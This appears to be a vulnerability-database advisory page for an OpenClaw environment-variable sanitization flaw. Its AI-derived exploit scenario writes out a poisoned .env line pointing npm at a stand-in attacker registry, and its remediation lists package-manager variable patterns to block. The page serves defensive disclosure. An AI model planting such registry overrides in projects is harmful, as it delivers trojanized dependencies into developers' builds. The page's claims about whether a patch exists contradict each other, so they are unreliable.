Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInject malicious .env file
-
DeliveryUser executes package operation
-
ExploitEnvironment variables override package resolution
-
ExecutionTrojanized dependencies downloaded
-
PersistMalicious code executes in build/runtime context
-
ImpactCompromise development environment and artifacts
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Strict input allowlisting
|
| Exploitation Conditions | Exploitation requires OpenClaw versions prior to 2026.3.22 with package manager integration features enabled. Attacker must have ability to inject environment variables into the user's session - achieved through malicious workspace files (.env, .envrc, direnv configurations), compromised shell profiles, or social engineering to run commands with attacker-controlled ENV settings. User must trigger an OpenClaw package operation (install, build, run) that spawns package manager processes inheriting the poisoned environment. The local attack vector (AV:L) limits remote exploitation, but the no privileges required (PR:N) classification means any local user account can attempt the attack. User interaction (UI:P) is necessary to execute the package operation, making this vulnerability most dangerous in scenarios involving untrusted code repositories, shared development environments, or supply chain targeting of specific organizations. |
| Impact | Real-world risk is elevated despite local attack vector requirements. CVSS 8.5 HIGH severity reflects significant impact (VC:H/VI:H/VA:H) across all CIA triad dimensions. The AV:L/PR:N/UI:P profile means attackers need local access and must trick users into performing package operations - achievable through social engineering, malicious workspace files, or compromised developer environments. No EPSS or KEV data provided, suggesting early-stage disclosure without widespread exploitation. However, supply chain attacks are high-value targets for sophisticated threat actors. The UI:P (user interaction required) and local vector significantly reduce automated mass exploitation risk compared to network-based RCE. Primary risk scenarios: malicious repository clones with crafted .env files, insider threats, or multi-stage attacks where initial access leads to development environment compromise. The 'Information Disclosure' tag appears inconsistent with the described trojanized code execution impact - verify whether reconnaissance or data exfiltration are preliminary attack stages. |
| Exploit ScenarioDerived | An attacker convinces a developer to clone a malicious repository containing a .env file with NPM_CONFIG_REGISTRY=https://evil.example.com. When the developer runs an approved OpenClaw build command that triggers npm install, the unsanitized environment variable redirects package resolution to the attacker's registry. The attacker's registry serves trojanized versions of legitimate dependencies, which OpenClaw executes as part of the build process, compromising the development environment and potentially injecting backdoors into build artifacts. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 28, 2026
OpenClaw package manager allows supply chain attacks through incomplete environment variable sanitization before version 2026.3.22. Attackers can hijack approved package installation or execution requests by injecting environment variables that redirect package resolution to malicious infrastructure, enabling trojanized code execution with high impact to confidentiality, integrity, and availability. This requires local access and user interaction to trigger package manager operations, limiting remote exploitation but creating significant insider threat and social engineering risk vectors.
RemediationAI
Upgrade to OpenClaw version 2026.3.22 or later, which implements comprehensive environment variable sanitization per the vendor advisory at https://github.com/openclaw/openclaw/security/advisories/GHSA-j7p2-qcwm-94v4. Until patching, implement compensating controls: restrict write access to workspace directories and configuration files to prevent .env file injection; audit and block environment variables matching package manager patterns (NPM_CONFIG_*, BUNDLE_*, PIP_*, MAVEN_OPTS, etc.) in process execution policies; monitor outbound connections from package manager processes for unexpected destinations using network egress controls; require code review for all project configuration changes including .npmrc, .yarnrc, Gemfile, requirements.txt and similar files. These mitigations reduce attack surface but may break legitimate workflows requiring custom package sources - test thoroughly and maintain allowlists for approved internal registries.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects OpenClaw's host environment security implementation, specifically in host-env-security-policy.json and host-env-security.ts modules. CWE-183 (Permissive List of Allowed Inputs) indicates the allowlist for environment variables fails to block package-manager-specific overrides like NPM_CONFIG_REGISTRY, BUNDLE_PATH, PIP_INDEX_URL, or similar variables used by package ecosystems. When OpenClaw executes approved package operations, these unsanitized variables persist in the spawned process environment, allowing attackers to manipulate dependency resolution paths. This is a classic supply chain attack primitive where the package manager's trust in environment configuration becomes an exploitation vector. The vulnerability sits at the intersection of process isolation, environment inheritance, and package manager security models.
Know when Openclaw gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
OpenClaw before 2026.3.22 contains an incomplete host environment variable sanitization vulnerability in host-env-security-policy.json and host-env-security.ts that allows package-manager environment overrides. Attackers can exploit approved exec requests to redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content.
Blast Radius
ecosystem impact- 5 npm packages depend on openclaw (5 direct, 0 indirect)
Ecosystem-wide dependent count for version 2026.3.22.
Executive ViewAI
OpenClaw package manager versions prior to 2026.3.22 contain an environment variable injection vulnerability that allows local attackers to redirect package installations to malicious sources, potentially delivering trojanized code into your software supply chain. This vulnerability requires local access and user action but poses significant risk to code integrity and introduces insider threat vectors across development and deployment environments.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict local system access to trusted developers only; (2) enforce code review and cryptographic signature verification of all packages before installation; (3) isolate package manager operations to sandboxed or containerized environments with restricted environment variable inheritance; (4) implement network-level controls to restrict outbound package resolution to approved repositories only; (5) establish audit logging of all package manager environment variable usage and installation sources.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Auth bypass in OpenClaw voice-call extension before 2026.2.1. EPSS 0.68%. PoC and patch available.
Privilege escalation in OpenClaw (pre-2026.3.28) allows unauthenticated remote attackers to gain administrative access b
OpenClaw versions 2026.2.22 through 2026.2.24 contain a privilege escalation vulnerability that allows authenticated att
An authorization mismatch vulnerability in OpenClaw versions prior to 2026.3.1 allows authenticated users with operator.
OpenClaw versions prior to 2026.1.29 automatically establish WebSocket connections to attacker-controlled gateway URLs e
Path traversal in OpenClaw through version 2026.3.23 enables unauthenticated remote attackers to read arbitrary files in
Directory-context bypass in OpenClaw before 2026.8.1 allows authenticated attackers with user interaction to reuse an 'a
Unauthenticated access to the noVNC observer interface in OpenClaw's Docker sandbox browser allows anyone who can reach
OpenClaw versions before 2026.2.26 allow authenticated attackers to write arbitrary files outside the workspace director
OpenClaw versions prior to 2026.2.22 contain a shell environment variable injection vulnerability in the system.run func
OpenClaw versions prior to 2026.2.22 contain a resource exhaustion vulnerability where the application fails to consiste
OpenClaw versions prior to 2026.3.1 contain a sandbox escape vulnerability that allows authenticated attackers with low
EUVD-2026-26096
GHSA-j7p2-qcwm-94v4
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB